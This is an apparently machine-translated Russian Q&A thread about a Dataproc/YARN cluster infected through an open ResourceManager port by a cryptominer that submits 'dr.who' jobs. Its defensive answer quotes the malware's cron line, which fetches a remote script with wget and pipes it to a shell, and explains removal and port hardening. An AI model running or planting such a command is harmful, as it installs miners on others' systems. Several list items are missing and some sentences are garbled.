После создания кластера dataproc многие задания автоматически отправляются в ResourceManager пользователем dr.who. Это истощает ресурсы кластера и в конечном итоге перегружает кластер.
В логах мало информации.
Кто-нибудь еще испытывает эту проблему в dataproc?
Не зная больше, вот что я подозреваю.
Я рекомендую вам сделать следующее немедленно:
Если вам нужен доступ к WebUI в кластере, используйте прокси SOCKS и SSH.
Что, вероятно, происходит с вами:
zz.sh, и вы можете найти его по ссылке BitBucket ниже), затем загружает приложение для майнингаЯ предлагаю вам попытаться найти адрес bitbucket/github в журналах ошибок. Также вы можете попробовать найти команду get/wget/apt-get/curl.
Думаю, теперь он богат.
Две важные вещи:
Что вам нужно сделать:
Идея состоит в том, чтобы заблокировать ненужные открытые порты с помощью обновленной групповой политики безопасности и при необходимости использовать VPC. Я опишу первый вариант с основными шагами.
Связано:
Вирус представляет собой майнер криптовалюты, который создает тысячи dr. кто работает, как то, что вы описываете. Задания предназначены для «переустановки» криптомайнера, если вы попытаетесь его удалить. Вот как удалить майнер навсегда.
Проверьте задания cron в виде пряжи на каждом подозрительном узле и удалите их.
$ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | ш > /dev/null 2>&1
Затем проверьте процесс «java», подобный этому, и уничтожьте его.
/var/tmp/java -c /var/tmp/wc.conf
Вам также необходимо защитить все входящие порты вашего кластера, чтобы предотвратить их повторение. Особенно ваши порты менеджера ресурсов.
Смотрите это для получения дополнительной информации. https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html
GCP: если вам нужно изменить свою группу безопасности по умолчанию: ssh (сделайте ее tcp: 22). Я думаю, это поможет вам решить вашу проблему.
